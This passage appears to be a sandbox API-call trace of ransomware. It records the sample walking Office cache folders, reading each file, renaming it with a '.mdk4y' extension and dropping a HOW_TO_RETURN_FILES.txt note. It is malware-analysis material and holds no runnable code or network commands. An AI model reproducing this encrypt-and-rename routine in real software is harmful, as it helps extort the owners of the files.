Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.mdk4y")) returned 1 [0084.630] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.630] AreFileApisANSI () returned 1 [0084.630] GetACP () returned 0x4e4 [0084.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeMUI.msi", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OfficeMUI.msi0.CRT.manifest", lpUsedDefaultChar=0x37dfd8) returned 13 [0084.631] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0084.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815986100000) returned 1 [0084.631] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0084.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816012000000) returned 1 [0084.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816012000000) returned 1 [0084.899] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.mdk4y")) returned 1 [0084.900] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0084.900] AreFileApisANSI () returned 1 [0084.900] GetACP () returned 0x4e4 [0084.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeMUI.xml", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OfficeMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 13 [0084.900] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0084.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816013000000) returned 1 [0084.900] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x15b5, lpOverlapped=0x0) returned 1 [0085.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816026700000) returned 1 [0085.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816026700000) returned 1 [0085.037] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.mdk4y")) returned 1 [0085.037] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.037] AreFileApisANSI () returned 1 [0085.037] GetACP () returned 0x4e4 [0085.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeMUISet.msi", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OfficeMUISet.msiRT.manifest", lpUsedDefaultChar=0x37dfd8) returned 16 [0085.038] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0085.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816026800000) returned 1 [0085.038] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd4200, lpOverlapped=0x0) returned 1 [0085.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816033700000) returned 1 [0085.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816033700000) returned 1 [0085.178] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.mdk4y")) returned 1 [0085.179] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.179] AreFileApisANSI () returned 1 [0085.179] GetACP () returned 0x4e4 [0085.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeMUISet.xml", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OfficeMUISet.xml", lpUsedDefaultChar=0x37dfd8) returned 16 [0085.179] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0085.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816040900000) returned 1 [0085.179] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x333, lpOverlapped=0x0) returned 1 [0085.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816056100000) returned 1 [0085.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816056100000) returned 1 [0085.332] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.mdk4y")) returned 1 [0085.332] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.332] AreFileApisANSI () returned 1 [0085.332] GetACP () returned 0x4e4 [0085.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osetupui.dll", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="osetupui.dll.xml", lpUsedDefaultChar=0x37dfd8) returned 12 [0085.332] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.332] AreFileApisANSI () returned 1 [0085.332] GetACP () returned 0x4e4 [0085.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pss10r.chm", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="pss10r.chmll", lpUsedDefaultChar=0x37dfd8) returned 10 [0085.333] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0085.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816056300000) returned 1 [0085.333] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6a3b, lpOverlapped=0x0) returned 1 [0085.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816066700000) returned 1 [0085.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816066700000) returned 1 [0085.438] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.mdk4y")) returned 1 [0085.438] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.438] AreFileApisANSI () returned 1 [0085.438] GetACP () returned 0x4e4 [0085.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="setup.chmm", lpUsedDefaultChar=0x37dfd8) returned 9 [0085.438] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0085.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816066800000) returned 1 [0085.438] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10676, lpOverlapped=0x0) returned 1 [0085.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816095700000) returned 1 [0085.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816095700000) returned 1 [0085.728] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.mdk4y")) returned 1 [0085.728] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.728] AreFileApisANSI () returned 1 [0085.728] GetACP () returned 0x4e4 [0085.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0085.728] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0085.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816095800000) returned 1 [0085.729] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2488, lpOverlapped=0x0) returned 1 [0085.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816097100000) returned 1 [0085.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816097100000) returned 1 [0085.741] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0085.741] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.741] AreFileApisANSI () returned 1 [0085.741] GetACP () returned 0x4e4 [0085.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ShellUI.MST", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ShellUI.MSTl", lpUsedDefaultChar=0x37dfd8) returned 11 [0085.742] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0085.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816097200000) returned 1 [0085.742] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xe00, lpOverlapped=0x0) returned 1 [0085.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816100100000) returned 1 [0085.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1816100100000) returned 1 [0085.771] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.mdk4y")) returned 1 [0085.772] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0085.772] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0085.772] AreFileApisANSI () returned 1 [0085.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0085.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0085.772] GetFileType (hFile=0x128) returned 0x1 [0085.773] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0085.773] AreFileApisANSI () returned 1 [0085.773] GetACP () returned 0x4e4 [0085.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0117-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0117-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0085.773] AreFileApisANSI () returned 1 [0085.773] GetACP () returned 0x4e4 [0085.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\k…") returned 63 [0085.775] AreFileApisANSI () returned 1 [0085.775] GetACP () returned 0x4e4 [0085.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0085.776] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.776] AreFileApisANSI () returned 1 [0085.776] GetACP () returned 0x4e4 [0085.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0085.776] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0085.776] AreFileApisANSI () returned 1 [0085.776] GetACP () returned 0x4e4 [0085.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Access.en-us", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Access.en-us0115-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 12 [0085.776] AreFileApisANSI () returned 1 [0085.776] GetACP () returned 0x4e4 [0085.776] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=76, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\捨k") returned 76 [0085.778] AreFileApisANSI () returned 1 [0085.778] GetACP () returned 0x4e4 [0085.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0085.778] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0085.778] AreFileApisANSI () returned 1 [0085.778] GetACP () returned 0x4e4 [0085.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..CtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0085.779] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0085.779] AreFileApisANSI () returned 1 [0085.779] GetACP () returned 0x4e4 [0085.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AccessMUI.msioAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 13 [0085.779] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0085.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816100900000) returned 1 [0085.779] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0085.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816110700000) returned 1 [0085.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816110700000) returned 1 [0085.907] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.mdk4y")) returned 1 [0085.907] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0085.907] AreFileApisANSI () returned 1 [0085.907] GetACP () returned 0x4e4 [0085.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AccessMUI.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0085.907] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0085.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816113800000) returned 1 [0085.908] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x545, lpOverlapped=0x0) returned 1 [0085.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816117400000) returned 1 [0085.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1816117400000) returned 1 [0085.945] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.mdk4y")) returned 1 [0085.945] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0085.945] AreFileApisANSI () returned 1 [0085.945] GetACP () returned 0x4e4 [0085.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccLR.cab", cchWideChar=9, lpMultiByteStr=0x6aaedc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AccLR.cab.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0085.945] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" 